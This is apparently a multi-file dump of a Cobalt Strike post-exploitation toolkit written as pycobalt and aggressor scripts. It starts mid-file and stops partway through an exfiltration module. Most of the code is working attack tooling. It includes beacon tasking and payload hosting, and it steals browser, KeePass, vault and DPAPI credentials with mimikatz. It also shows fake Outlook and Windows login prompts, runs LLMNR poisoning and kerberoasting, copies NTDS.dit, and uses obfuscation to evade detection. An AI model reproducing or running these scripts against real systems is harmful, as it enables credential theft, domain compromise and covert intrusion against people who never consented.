| 67 | aggressor.btask(bid, 'Tasking beacon to find EDR products') 68 | aggressor.bls(bid, drivers_dir, ls_callback) 69 | 70 | -------------------------------------------------------------------------------- /batch_gui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | import time 7 | 8 | import pycobalt.engine as engine 9 | import pycobalt.aggressor as aggressor 10 | import pycobalt.helpers as helpers 11 | import pycobalt.events as events 12 | import pycobalt.gui as gui 13 | 14 | import sleep 15 | import cleanup 16 | 17 | def sleep_callback(bids): 18 | def finish(text): 19 | parts = text.split() 20 | 21 | # sleep 22 | pretty_time = parts[0] 23 | 24 | # jitter 25 | if len(parts) > 1: 26 | jitter = int(parts[1]) 27 | else: 28 | jitter = 30 29 | 30 | for bid in bids: 31 | aggressor.btask(bid, 'sl {} {}'.format(pretty_time, jitter)) 32 | sleep.sleep(bid, pretty_time, jitter) 33 | 34 | aggressor.prompt_text('sleep [jitter=30]', '', finish) 35 | 36 | def shell_callback(bids): 37 | def finish(text): 38 | for bid in bids: 39 | aggressor.bshell(bid, text) 40 | 41 | aggressor.prompt_text('Shell command', '', finish) 42 | 43 | def powerpick_callback(bids): 44 | def finish(text): 45 | for bid in bids: 46 | aggressor.bpowerpick(bid, text) 47 | 48 | aggressor.prompt_text('Powerpick command', '', finish) 49 | 50 | def alias_callback(bids): 51 | def finish(text): 52 | if ' ' in text: 53 | parts = text.split(' ') 54 | alias = parts[0] 55 | args = ' '.join(parts[1:]) 56 | else: 57 | alias = text 58 | args = '' 59 | 60 | for bid in bids: 61 | aggressor.binput(bid, text) 62 | aggressor.fireAlias(bid, alias, args) 63 | # I think fireAlias is broken somewhere. possibly on cobaltstrike's side? 64 | time.sleep(0.5) 65 | 66 | aggressor.prompt_text('Alias command', '', finish) 67 | 68 | def eval_callback(bids): 69 | def finish(text): 70 | for bid in bids: 71 | code = '$bid = {}; $b = $bid; '.format(bid) + text 72 | aggressor.binput(bid, 'eval ' + text) 73 | engine.eval(code) 74 | 75 | aggressor.prompt_text('Eval code ($bid and $b will be set to the bid)', '', finish) 76 | 77 | def clear_callback(bids): 78 | for bid in bids: 79 | aggressor.bclear(bid) 80 | 81 | def caffeinate_callback(bids): 82 | for bid in bids: 83 | aggressor.bsleep(bid, 0, 0) 84 | 85 | def suicide_callback(bids, b=None, c=None): 86 | engine.message('bc') 87 | engine.message(b) 88 | engine.message(c) 89 | for bid in bids: 90 | cleanup.suicide(bid) 91 | 92 | menu = gui.popup('beacon_bottom', children=[ 93 | gui.menu('&Batch', children=[ 94 | gui.item('&Sleep', sleep_callback), 95 | gui.separator(), 96 | gui.item('&Shell', shell_callback), 97 | gui.item('&Powerpick', powerpick_callback), 98 | gui.item('&Alias', alias_callback), 99 | gui.item('&Eval', eval_callback), 100 | gui.separator(), 101 | gui.item('&Clear', clear_callback), 102 | gui.item('&Caffeinate', caffeinate_callback), 103 | gui.item('&Suicide', suicide_callback), 104 | ]) 105 | ]) 106 | 107 | gui.register(menu) 108 | -------------------------------------------------------------------------------- /beacon_host_script.cna: -------------------------------------------------------------------------------- 1 | alias host_script { 2 | local('$bid $script $hosted'); 3 | 4 | $bid = $1; 5 | $listener = $2; 6 | 7 | # generate payload 8 | artifact_stageless($listener, 'powershell', 'x86', $null, $this); 9 | yield; 10 | 11 | # this function is now resumed after &artifact_stageless finished. $1 is our script. 12 | $script = $1; 13 | 14 | $hosted = beacon_host_script($1, $script); 15 | 16 | blog($bid, "to download: " . $hosted); 17 | #bpowerpick($1, $hosted); 18 | } 19 | -------------------------------------------------------------------------------- /cleanup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import collections 8 | 9 | import pycobalt.engine as engine 10 | import pycobalt.events as events 11 | import pycobalt.commands as commands 12 | import pycobalt.aliases as aliases 13 | import pycobalt.aggressor as aggressor 14 | import pycobalt.callbacks as callbacks 15 | 16 | # for 'suicide' command 17 | killing = set() 18 | @events.event('beacon_output') 19 | def _(bid, output, when): 20 | global killing 21 | 22 | if output == 'beacon exit.' and bid in killing: 23 | killing.remove(bid) 24 | aggressor.beacon_remove(bid) 25 | 26 | # Kill and remove beacon. 27 | def suicide(bid): 28 | global killing 29 | 30 | aggressor.bexit(bid) 31 | aggressor.bnote(bid, 'killing') 32 | killing.add(bid) 33 | 34 | # Kill and remove beacon. 35 | @aliases.alias('suicide', 'Kill and remove beacon') 36 | def _(bid): 37 | suicide(bid) 38 | 39 | # Remove a beacon. 40 | @aliases.alias('remove', 'Remove this beacon') 41 | def _(bid): 42 | aggressor.beacon_remove(bid) 43 | 44 | # Prune dead beacons. 45 | def prune_dead(): 46 | for beacon in aggressor.beacons(): 47 | if beacon['alive'] == 'false': 48 | bid = beacon['id'] 49 | engine.message('removing beacon {} ({}@{})'.format(bid, beacon['user'], beacon['computer'])) 50 | aggressor.beacon_remove(bid) 51 | 52 | def older_than(last, hours): 53 | last = int(last) 54 | hours = int(hours) 55 | last_hours = last / 1000 / 60 / 60 56 | return last_hours > hours 57 | 58 | def last_difference(newer, older): 59 | return float(int(older) - int(newer)) / 1000 / 60 / 60 60 | 61 | # Prune beacons older than :hours: 62 | def prune_old(hours): 63 | for beacon in aggressor.beacons(): 64 | last = int(beacon['last']) 65 | 66 | if older_than(last, hours): 67 | bid = beacon['id'] 68 | last_hours = last / 1000 / 60 / 60 69 | engine.message('removing beacon {} ({}@{}) ({} hours old)'.format(bid, beacon['user'], beacon['computer'], int(last_hours))) 70 | aggressor.beacon_remove(bid) 71 | 72 | def cleanup(hours=80, dry=True): 73 | # collect notes 74 | notes = collections.defaultdict(set) 75 | for beacon in aggressor.beacons(): 76 | # skip 'killing' 77 | if beacon['note'] == 'killing': 78 | continue 79 | 80 | ident = '{}@{}'.format(beacon['user'], beacon['computer']) 81 | notes[ident].add(beacon['note']) 82 | 83 | # remove dead 84 | if not dry: 85 | prune_dead() 86 | else: 87 | engine.message('not pruning dead beacons') 88 | 89 | # remove old 90 | #if not dry: 91 | # prune_old(int(hours)) 92 | #else: 93 | # engine.message('not pruning old beacons') 94 | 95 | # collect beacons 96 | by_ident = collections.defaultdict(list) 97 | for beacon in aggressor.beacons(): 98 | # skip dead beacons 99 | if beacon['alive'] == 'false': 100 | continue 101 | 102 | ident = '{}@{}'.format(beacon['user'], beacon['computer']) 103 | by_ident[ident].append(beacon) 104 | 105 | # sort beacons by newest 106 | for ident, beacons in by_ident.items(): 107 | beacons = sorted(beacons, key=lambda b: int(b['last'])) 108 | by_ident[ident] = beacons 109 | 110 | # de-duplicate 111 | for ident, beacons in by_ident.items(): 112 | if len(beacons) > 1: 113 | # pick a beacon. to choose a selected beacon we: 114 | # - find all beacons with last times within 2 hours of the newest beacon 115 | # - pick the newest beacon of those with a note 116 | # - or: pick the newest beacon 117 | #newest_beacon = beacons[0] 118 | #for beacon in beacons[1:]: 119 | # if last_difference(newest_beacon['last'], beacon['last']) > 1.0: 120 | # if beacon['note']: 121 | # # newest beacon with a note 122 | # picked_beacon = beacon 123 | # break 124 | #else: 125 | # # newest beacon 126 | # picked_beacon = beacons[0] 127 | 128 | picked_beacon = list(filter(lambda b: b['note'] != 'killing', beacons))[0] 129 | beacons.remove(picked_beacon) 130 | 131 | # kill or remove the other beacons 132 | for beacon in beacons: 133 | if {'keep', 'test'} & set(beacon['note'].split()): 134 | # special note. don't kill 135 | engine.message('not touching beaacon with keep note {} {}'.format(ident, beacon['note'])) 136 | elif last_difference(picked_beacon['last'], beacon['last']) > 2.0: 137 | # probably dead. just remove 138 | engine.message('removing older beacon {} {}'.format(ident, beacon['id'])) 139 | if not dry: 140 | aggressor.beacon_remove(beacon['id']) 141 | else: 142 | # kill and remove 143 | engine.message('killing older beacon {} {}'.format(ident, beacon['id'])) 144 | if not dry: 145 | suicide(beacon['id']) 146 | 147 | # pick shortest note 148 | picked_note = None 149 | for note in notes[ident]: 150 | if not picked_note or len(picked_note) > note: 151 | picked_note = note 152 | 153 | if picked_note: 154 | engine.message('{} picked note: {}'.format(ident, picked_note)) 155 | if not dry: 156 | aggressor.bnote(picked_beacon['id'], picked_note) 157 | 158 | @commands.command('cleanup') 159 | def _(hours=80): 160 | cleanup(hours, dry=False) 161 | 162 | @commands.command('cleanup-dryrun') 163 | def _(hours=80): 164 | cleanup(hours, dry=True) 165 | 166 | # Prune dead beacons. 167 | @commands.command('prune-dead') 168 | def _(): 169 | prune_dead() 170 | 171 | # Prune beacons older than :hours: 172 | @commands.command('prune-old') 173 | def _(hours=100): 174 | prune_old(int(hours)) 175 | 176 | @commands.command('companies') 177 | def _(): 178 | # collect beacons by company 179 | by_company = collections.defaultdict(list) 180 | for beacon in aggressor.beacons(): 181 | if beacon['note'] and beacon['note'] != 'killing': 182 | parts = beacon['note'].split() 183 | company = parts[0] 184 | subnote = ' '.join(parts[1:]) 185 | 186 | beacon['subnote'] = subnote 187 | by_company[company].append(beacon) 188 | 189 | for company, beacons in by_company.items(): 190 | aggressor.println('{}:'.format(company)) 191 | for beacon in beacons: 192 | aggressor.println(' - {}@{} {}'.format(beacon['user'], beacon['computer'], beacon['note'])) 193 | aggressor.println() 194 | -------------------------------------------------------------------------------- /color_ls.cna: -------------------------------------------------------------------------------- 1 | set BEACON_OUTPUT_LS { 2 | local('$out @results $cwd $entry $type $size $modified $name'); 3 | @results = split("\n", ["$2" trim]); 4 | 5 | $cwd = left(shift(@results), -1); # first entry is the current folder 6 | 7 | # parse/process results 8 | foreach $entry (@results) { 9 | ($type, $size, $modified, $name) = split("\t", $entry); 10 | if ($type eq "F") { 11 | $entry = %(type => "fil", size => format_size($size), modified => $modified, name => $name); 12 | } 13 | else if ($type eq "D" && $name ne "." && $name ne "..") { 14 | $entry = %(type => "dir", size => "", modified => $modified, name => $name); 15 | } 16 | else { 17 | remove(); 18 | } 19 | } 20 | 21 | # sort in alpha order with dir listings on top. 22 | sort({ return ($1['type'] . lc($1['name'])) cmp ($2['type'] . lc($2['name'])); }, @results); 23 | 24 | $out .= "\cC[*]\o Listing: $cwd $+ \n\n"; 25 | $out .= " Size Type Last Modified Name\n"; 26 | $out .= "\cE ---- ---- ------------- ----\n"; 27 | 28 | foreach $entry (@results) { 29 | ($type, $size, $modified, $name) = values($entry, @('type', 'size', 'modified', 'name')); 30 | if ($type eq 'dir') { 31 | # color orange 32 | $color = "\c7"; 33 | } else if ($name ismatch '.*\.exe' || $name ismatch '.*\.ps1' || $name ismatch '.*\.bat' || $name ismatch '.*\.cmd') { 34 | # color green 35 | $color = "\c3"; 36 | } else { 37 | $color = ''; 38 | } 39 | $out .= " $[8]size $[7]type $[21]modified$color $name $+ \n"; 40 | } 41 | 42 | return $out; 43 | } 44 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | import pycobalt.sharpgen 2 | import pycobalt.aliases 3 | import pycobalt.aggressor 4 | import pycobalt.engine 5 | 6 | import powerpick 7 | 8 | # 9 | # SharpGen settings 10 | # 11 | 12 | protections_net35 = { 13 | #'anti debug': None, 14 | #'anti dump': None, 15 | #'anti ildasm': None, 16 | #'anti tamper': None, 17 | 18 | #'constants': None, 19 | 'ctrl flow': None, 20 | #'ctrl flow': {'mode': 'jump', 21 | # 'intensity': 30, 22 | # 'junk': 'true'}, 23 | #'constants': {'mode': 'dynamic', 24 | # 'decoderCount': 20, 25 | # 'elements': 'SNPI', 26 | # 'cfg': 'true'}, 27 | #'ctrl flow': {'mode': 'jump', 28 | # 'intensity': 30, 29 | # 'junk': 'true'}, 30 | 31 | #'invalid metadata': None, 32 | #'ref proxy': None, 33 | 'ref proxy': {#'mode': 'strong', 34 | 'encoding': 'expression', 35 | 'internal': 'true', 36 | 'typeErasure': 'true', 37 | 'depth': 5, 38 | 'initCount': 16}, 39 | 'rename': {'mode': 'ascii'}, 40 | 'resources': {'mode': 'dynamic'}, 41 | #'typescramble': None, 42 | } 43 | protections_net40 = protections_net35 44 | 45 | def set_dotnet(version): 46 | if version == 'net35': 47 | pycobalt.sharpgen.set_confuser_protections(protections_net35) 48 | else: 49 | pycobalt.sharpgen.set_confuser_protections(protections_net40) 50 | 51 | pycobalt.sharpgen.set_dotnet_framework(version) 52 | 53 | # powerpick 54 | powerpick.enable_custom_powerpick() 55 | 56 | # sharpgen 57 | set_dotnet('net35') 58 | pycobalt.sharpgen.set_resources() 59 | pycobalt.sharpgen.set_references() 60 | #pycobalt.sharpgen.enable_cache() 61 | pycobalt.sharpgen.set_using() 62 | 63 | # quote replacement 64 | pycobalt.aliases.set_quote_replacement('^') 65 | 66 | # debug 67 | #pycobalt.engine.enable_debug() 68 | -------------------------------------------------------------------------------- /creds.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import time 8 | 9 | import pycobalt.engine as engine 10 | import pycobalt.events as events 11 | import pycobalt.commands as commands 12 | import pycobalt.aliases as aliases 13 | import pycobalt.aggressor as aggressor 14 | import pycobalt.callbacks as callbacks 15 | import pycobalt.helpers as helpers 16 | from pycobalt.helpers import powershell_quote 17 | from pycobalt.helpers import cmd_quote 18 | 19 | import external 20 | 21 | @aliases.alias('sharpweb', 'Grab browser passwords with SharpWeb') 22 | def _(bid, *args): 23 | external.run(bid, 'sharpweb', args) 24 | 25 | @aliases.alias('sharpweb-all', 'Grab Chrome, Firefox, and IE passwords with SharpWeb') 26 | def _(bid, out=None): 27 | args = ['all'] 28 | 29 | # output file 30 | if out: 31 | args += ['-o', out] 32 | 33 | external.run(bid, 'sharpweb', args) 34 | 35 | @aliases.alias('grab-chrome', 'Grab Chrome passwords with custom tool') 36 | def _(bid): 37 | #temp = r'{}\AppData\Local'.format(helpers.guess_home(bid)) 38 | temp = r'{}'.format(helpers.guess_home(bid)) 39 | out_file = r'{}\c'.format(temp) 40 | dest = r'{}\temp.exe'.format(temp) 41 | helpers.upload_to(bid, utils.basedir('tools/chrome-passwords.exe'), dest) 42 | aggressor.bshell(bid, r'{} > {} & echo "Chrome credentials ready at {}. Run grab-chrome-next"'.format(cmd_quote(dest), cmd_quote(out_file), out_file)) 43 | 44 | @aliases.alias('grab-chrome-next', 'Clean up grab-chrome') 45 | def _(bid): 46 | #temp = r'{}\AppData\Local'.format(helpers.guess_home(bid)) 47 | temp = r'{}'.format(helpers.guess_home(bid)) 48 | out_file = r'{}\c'.format(temp) 49 | dest = r'{}\temp.exe'.format(temp) 50 | aggressor.brm(bid, dest) 51 | aggressor.bdownload(bid, out_file) 52 | 53 | @aliases.alias('grab-chrome-next2', 'Clean up grab-chrome') 54 | def _(bid): 55 | #temp = r'{}\AppData\Local'.format(helpers.guess_home(bid)) 56 | temp = r'{}'.format(helpers.guess_home(bid)) 57 | out_file = r'{}\c'.format(temp) 58 | aggressor.brm(bid, out_file) 59 | 60 | # TODO output dpapi stuff to file (might not be possible with bmimikatz) 61 | @aliases.alias('grab-chrome-mimikatz', 'Grab Chrome passwords and cookies using mimikatz') 62 | def _(bid): 63 | chrome_dir = r'%localappdata%\Google\Chrome\User Data\Default' 64 | chrome_dir_guessed = chrome_dir.replace('%localappdata%', r'{}\AppData\Local'.format(helpers.guess_home(bid))) 65 | 66 | login_data = r'{}\Login Data'.format(chrome_dir_guessed) 67 | cookies = r'{}\Cookies'.format(chrome_dir_guessed) 68 | history = r'{}\History'.format(chrome_dir_guessed) 69 | bookmarks = r'{}\Bookmarks'.format(chrome_dir_guessed) 70 | web_data = r'{}\Web Data'.format(chrome_dir_guessed) 71 | login_data_copied = '{}.bak2'.format(login_data) 72 | cookies_copied = '{}.bak2'.format(cookies) 73 | 74 | # non-protected files (History/Bookmarks) 75 | aggressor.bdownload(bid, history) 76 | aggressor.bdownload(bid, bookmarks) 77 | aggressor.bdownload(bid, web_data) 78 | 79 | # protected files (Login Data/Cookies) 80 | #aggressor.bshell(bid, 'copy "{}" "{}"'.format(login_data, login_data_copied)) 81 | aggressor.bcp(bid, login_data, login_data_copied) 82 | 83 | #aggressor.bshell(bid, 'copy "{}" "{}"'.format(cookies, cookies_copied)) 84 | #aggressor.bmimikatz(bid, r'dpapi::chrome /in:"{}" /unprotect'.format(cookies_copied)) 85 | aggressor.bmimikatz(bid, r'dpapi::chrome /in:"{}" /unprotect'.format(login_data_copied)) 86 | aggressor.brm(bid, login_data_copied) 87 | #aggressor.brm(bid, cookies_copied) 88 | 89 | # TODO dpapi wifi? 90 | # TODO dpapi vault? 91 | # TODO dpapi wwan? 92 | # TODO look at SharpDPAPI 93 | @aliases.alias('creds', 'Grab WCM credentials and DPAPI cache') 94 | def _(bid): 95 | #aggressor.bmimikatz(bid, r'dpapi::ssh /hive:"%localappdata%\NTUSER.DAT" /unprotect') 96 | aggressor.bmimikatz(bid, r'vault::cred') 97 | aggressor.bmimikatz(bid, r'vault::list') 98 | aggressor.bmimikatz(bid, r'sekurlsa::dpapi') 99 | aggressor.bmimikatz(bid, r'dpapi::cache') 100 | 101 | # TODO get this working 102 | @aliases.alias('wifi-key', 'Get WLAN key from profile') 103 | def _(bid, profile): 104 | command = """ 105 | netsh wlan export profile name="{name}" folder=$env:temp key=clear' 106 | get-content $env:temp:\*{name}*.xml | select-string -pattern '(keyMaterial)|(keyType)' 107 | rm $profile $env:temp:\*{name}*.xml 108 | """.format(name=profile) 109 | aggressor.bpowerpick(bid, command) 110 | 111 | # TODO symlink ps1s and test 112 | @aliases.alias('grab-keepass', 'Grab KeePass config and database master key') 113 | def _(bid): 114 | # KeePassConfig 115 | aggressor.bpowershell_import(bid, utils.basedir('powershell/KeePassconfig.ps1')) 116 | aggressor.bpowerpick(bid, "Find-KeePassconfig") 117 | 118 | # KeeThief 119 | aggressor.bpowershell_import(bid, utils.basedir('powershell/KeeThief.ps1')) 120 | aggressor.bpowerpick(bid, "Get-KeePassDatabaseKey -Verbose") 121 | 122 | @aliases.alias('mimikittenz', 'Invoke mimikittenz') 123 | def _(bid): 124 | aggressor.bpowershell_import(bid, utils.basedir("powershell/Invoke-mimikittenz.ps1")) 125 | aggressor.bpowerpick(bid, "Invoke-mimikittenz") 126 | 127 | # TODO symlink ps1 and test 128 | @aliases.alias('grab-firefox', 'Grab Firefox passwords') 129 | def _(bid): 130 | script_file = utils.basedir('powershell/Get-FirefoxPasswords.ps1') 131 | with open(script_file, 'r') as fp: 132 | script = fp.read() 133 | 134 | # host it 135 | cmd = aggressor.beacon_host_script(bid, script) 136 | #sleep(5) 137 | 138 | # execute in-memory hosted script 139 | aggressor.bpowerpick(bid, cmd) 140 | 141 | @aliases.alias('loginprompt-outlook', 'Phishing login prompt (Outlook variant)') 142 | def _(bid, title='Microsoft Outlook', message='Your Outlook session has expired. Please re-enter your credentials.'): 143 | aggressor.bpowershell_import(bid, utils.basedir('powershell/Invoke-LoginPrompt.ps1')) 144 | 145 | command = helpers.code_string(r""" 146 | Stop-Process -Name OUTLOOK 147 | $out = ShowPrompt "{}" "{}" 148 | if ($out) {{ 149 | $out 150 | Start-Process outlook 151 | }} else {{ 152 | echo "Didn't get the credentials" 153 | }} 154 | """.format(title, message)) 155 | 156 | # powerpick doesn't work with $host.ui 157 | aggressor.bpowershell(bid, command, silent=True) 158 | 159 | @aliases.alias('loginprompt', 'Phishing login prompt') 160 | def _(bid, title='Windows Security', message='Please re-enter your user credentials.'): 161 | aggressor.bpowershell_import(bid, utils.basedir('powershell/Invoke-LoginPrompt.ps1')) 162 | 163 | command += helpers.code_string(r""" 164 | $out = ShowPrompt "{}" "{}" 165 | if ($out) {{ 166 | $out 167 | }} else {{ 168 | echo "Didn't get the credentials" 169 | }} 170 | """.format(title, message)) 171 | 172 | # powerpick doesn't work with $host.ui 173 | aggressor.bpowershell(bid, command, silent=True) 174 | 175 | # TODO get working 176 | @aliases.alias('credleak', 'Leak NetNTLMv2 hash using Invoke-CredLeak') 177 | def _(bid): 178 | aggressor.bpowershell_import(bid, utils.basedir('powershell/Invoke-CredLeak.ps1')) 179 | aggressor.bpowerpick(bid, 'Invoke-CredLeak') 180 | 181 | @aliases.alias('sessiongopher', 'Run SessionGopher') 182 | def _(bid, *args): 183 | aggressor.bpowershell_import(bid, utils.basedir('powershell/SessionGopher.ps1')) 184 | aggressor.bpowerpick(bid, 'Invoke-SessionGopher ' + ' '.join(powershell_quote(args))) 185 | 186 | @aliases.alias('inveigh', 'Run Inveigh') 187 | def _(bid, runtime=99999, *args): 188 | aggressor.bpowershell_import(bid, utils.basedir('powershell/Inveigh/Inveigh.ps1')) 189 | aggressor.bpowerpick(bid, "Invoke-Inveigh -ConsoleOutput N -RunTime {} -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y {}".format(runtime, ' '.join(args))) 190 | 191 | @aliases.alias('inveigh-file', 'Run Inveigh, write to %userprofile%\\AppData\\Roaming\\Microsoft') 192 | def _(bid, runtime=99999, *args): 193 | aggressor.bpowershell_import(bid, utils.basedir('powershell/Inveigh/Inveigh.ps1')) 194 | aggressor.btask(bid, 'Tasked beacon to run inveigh with output files at %userprofile%\\AppData\\Roaming\\Microsoft') 195 | aggressor.bpowerpick(bid, r"Invoke-Inveigh -FileOutput Y -FileOutputDirectory $env:userprofile\AppData\Roaming\Microsoft -RunTime {} -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y {}".format(runtime, ' '.join(args))) 196 | 197 | @aliases.alias('inveigh-grab', 'Grab inveigh files from %userprofile%\\AppData\\Roaming\\Microsoft') 198 | def _(bid, home=None): 199 | if not home: 200 | home = helpers.guess_home(bid) 201 | 202 | directory = r'{}\AppData\Roaming\Microsoft'.format(home) 203 | 204 | aggressor.btask(bid, 'Tasked beacon to grab inveigh files from {}'.format(directory)) 205 | 206 | for fname in ('clear', 'log', 'v1', 'v2', 'form'): 207 | aggressor.bdownload(bid, r'{}\{}'.format(directory, fname)) 208 | 209 | @aliases.alias('inveigh-clean', 'Clean up inveigh files in %userprofile%\\AppData\\Roaming\\Microsoft') 210 | def _(bid, home=None): 211 | if not home: 212 | home = helpers.guess_home(bid) 213 | 214 | directory = r'{}\AppData\Roaming\Microsoft'.format(home) 215 | 216 | aggressor.btask(bid, 'Tasked beacon to remove inveigh files in {}'.format(directory)) 217 | 218 | for fname in ('clear', 'log', 'v1', 'v2', 'form'): 219 | aggressor.brm(bid, r'{}\{}'.format(directory, fname)) 220 | 221 | @aliases.alias('inveigh-stop', 'Stop Inveigh') 222 | def _(bid): 223 | aggressor.bpowershell_import(bid, utils.basedir('powershell/Inveigh/Inveigh.ps1')) 224 | aggressor.bpowerpick(bid, 'Stop-Inveigh') 225 | 226 | # Rubeus commands 227 | @aliases.alias('rubeus', 'Run Rubeus') 228 | def _(bid, *args): 229 | external.run(bid, 'rubeus', args) 230 | 231 | @aliases.alias('kerberoast', 'Run Rubeus kerberoast') 232 | def _(bid, *args): 233 | external.run(bid, 'rubeus', ['kerberoast'] + args) 234 | 235 | @aliases.alias('roast', 'Run Rubeus kerberoast and asreproast') 236 | def _(bid): 237 | external.run(bid, 'rubeus', ['kerberoast']) 238 | external.run(bid, 'rubeus', ['asreproast']) 239 | 240 | @aliases.alias('netripper', 'Run Netripper') 241 | def _(bid, *args): 242 | aggressor.bpowershell_import(bid, utils.basedir('powershell/Invoke-NetRipper.ps1')) 243 | aggressor.bpowerpick(bid, r'Invoke-NetRipper -LogLocation C:\Temp\ ' + ' '.join(powershell_quote(args))) 244 | 245 | @aliases.alias('ntds', 'Extract NTDS.DIT with NinjaCopy') 246 | def _(bid): 247 | ntds_source = r'C:\Windows\ntds\ntds.dit' 248 | system_source = r'C:\Windows\system32\config\SYSTEM' 249 | ntds_dest = r'C:\Windows\temp\ntds.dit' 250 | system_dest = r'C:\Windows\temp\SYSTEM' 251 | 252 | aggressor.bpowershell_import(bid, utils.basedir('powershell/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1')) 253 | 254 | command = helpers.code_string(r""" 255 | Invoke-NinjaCopy -Path "{}" -LocalDestination "{}" 256 | Invoke-NinjaCopy -Path "{}" -LocalDestination "{}" 257 | """.format(ntds_source, ntds_dest, system_source, system_dest)) 258 | 259 | aggressor.bpowerpick(bid, command) 260 | aggressor.blog2(bid, 'Files will be at "{}" and "{}"'.format(ntds_dest, system_dest)) 261 | 262 | #aggressor.bdownload(bid, ntds_dest) 263 | #aggressor.bdownload(bid, system_dest) 264 | ## bdownload is asynchronous so the files must be deleted manually 265 | #aggressor.blog2(bid, 'You must delete "{}" and "{}" manually once the downloads are complete'.format(ntds_dest, system_dest)) 266 | 267 | @aliases.alias('powershell-mimikatz', 'Run Invoke-Mimikatz') 268 | def _(bid, command, *args): 269 | script_file = utils.basedir('powershell/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1') 270 | with open(script_file, 'r') as fp: 271 | script = fp.read() 272 | 273 | # host it 274 | cmd = aggressor.beacon_host_script(bid, script) 275 | time.sleep(10) 276 | 277 | # execute in-memory hosted script 278 | engine.message(cmd) 279 | aggressor.bpowerpick(bid, cmd + ';\n Invoke-Mimikatz -Command {} {}'.format(command, ' '.join(powershell_quote(args)))) 280 | -------------------------------------------------------------------------------- /debug.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import pycobalt.engine as engine 8 | import pycobalt.events as events 9 | import pycobalt.commands as commands 10 | import pycobalt.aliases as aliases 11 | import pycobalt.aggressor as aggressor 12 | import pycobalt.callbacks as callbacks 13 | import pycobalt.helpers as helpers 14 | import pycobalt.sharpgen as sharpgen 15 | import pycobalt.console as console 16 | from pycobalt.helpers import powershell_quote 17 | 18 | @commands.command('python-debug') 19 | def _(mode): 20 | if mode == 'on': 21 | engine.enable_debug() 22 | elif mode == 'off': 23 | engine.disable_debug() 24 | else: 25 | engine.error('python-debug on|off') 26 | -------------------------------------------------------------------------------- /downloads.gui.cna: -------------------------------------------------------------------------------- 1 | menubar("Downloads", "downloads", 2); 2 | 3 | popup downloads { 4 | item "Sync" { 5 | sub thread { 6 | $total_downloads = 0; 7 | $downloads_finished = 0; 8 | $lock = semaphore(); 9 | 10 | # // 11 | $total_downloads = size(downloads()); 12 | foreach $download (downloads()) { 13 | # TODO fix 14 | #println("waiting"); 15 | #acquire($lock); 16 | 17 | $host = $download['host']; 18 | $name = $download['name']; 19 | $lpath = $download['lpath']; 20 | 21 | # try to find the user/computer name 22 | $user = 'unknown'; 23 | $host = 'unknown'; 24 | foreach $beacon (beacons()) { 25 | if ($beacon['internal'] eq $host) { 26 | $host = $beacon['computer']; 27 | $user = $beacon['user']; 28 | break; 29 | } 30 | } 31 | 32 | $dir = $chosen . '/' . $host . '_' . $computer . '_' . $user . '/' . $download['path']; 33 | $dir = replace($dir, '\\\\', '/'); 34 | mkdir($dir); 35 | $full_path = $dir . $name; 36 | if (-exists($full_path)) { 37 | println('already exists. not syncing ' . $lpath . ' to ' . $full_path); 38 | } else { 39 | println('syncing ' . $lpath . ' to ' . $full_path); 40 | #$tmp_path = $full_path . '.tmp'; 41 | 42 | sub sync_callback { 43 | println("$full_path finished"); 44 | return; 45 | 46 | # move tmp file 47 | rename($tmp_path, $full_path); 48 | 49 | # progress message 50 | $downloads_finished++; 51 | $mod = $total_downloads / 50; 52 | if ($mod == 0) { 53 | $mod = $downloads_finished; 54 | } 55 | if ($downloads_finished % $mod == 0 || $downloads_finished == $total_downloads) { 56 | privmsg(mynick(), "$downloads_finished of $total_downloads finished"); 57 | } 58 | 59 | # next file 60 | # TODO fix 61 | #release($lock); 62 | } 63 | 64 | # TODO fix 65 | #sync_download($lpath, $tmp_path, &sync_callback); 66 | sync_download($lpath, $full_path, &sync_callback); 67 | } 68 | } 69 | } 70 | 71 | sub callback { 72 | $chosen = $1; 73 | 74 | if (!$chosen) { 75 | return; 76 | } 77 | 78 | fork(&thread, $chosen => $chosen); 79 | } 80 | 81 | prompt_directory_open("Directory to sync files to", $null, false, &callback); 82 | } 83 | 84 | item "View" { 85 | openDownloadBrowser(); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /exfil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import os 8 | import re 9 | import textwrap 10 | import datetime 11 | import collections 12 | 13 | import pycobalt.engine as engine 14 | import pycobalt.events as events 15 | import pycobalt.commands as commands 16 | import pycobalt.aliases as aliases 17 | import pycobalt.aggressor as aggressor 18 | import pycobalt.callbacks as callbacks 19 | import pycobalt.helpers as helpers 20 | from pycobalt.helpers import powershell_quote 21 | 22 | _uploaded = None 23 | 24 | @aliases.alias('7z-init', 'Upload 7zip') 25 | def _(bid): 26 | global _uploaded 27 | 28 | temp = helpers.guess_temp(bid) 29 | dest = r'{}\7za.exe'.format(temp) 30 | helpers.upload_to(bid, utils.basedir('tools/7za.exe'), dest) 31 | helpers.explorer_stomp(bid, '7za.exe') 32 | _uploaded = dest 33 | 34 | @aliases.alias('7z', 'Run 7zip') 35 | def _(bid, *args): 36 | global _uploaded 37 | 38 | if not _uploaded: 39 | aggressor.berror('Run 7z-init first') 40 | return 41 | 42 | line = ' '.join(args) 43 | aggressor.btask(bid, 'Tasked beacon to run 7zip command: {}'.format(line)) 44 | aggressor.bpowerpick(bid, "echo '7zip starting'; {} {} ; echo '7zip finished';".format(_uploaded, line), silent=True) 45 | 46 | @aliases.alias('7z-stop', 'Remove 7zip') 47 | def _(bid): 48 | global _uploaded 49 | 50 | if not _uploaded: 51 | aggressor.berror('Run 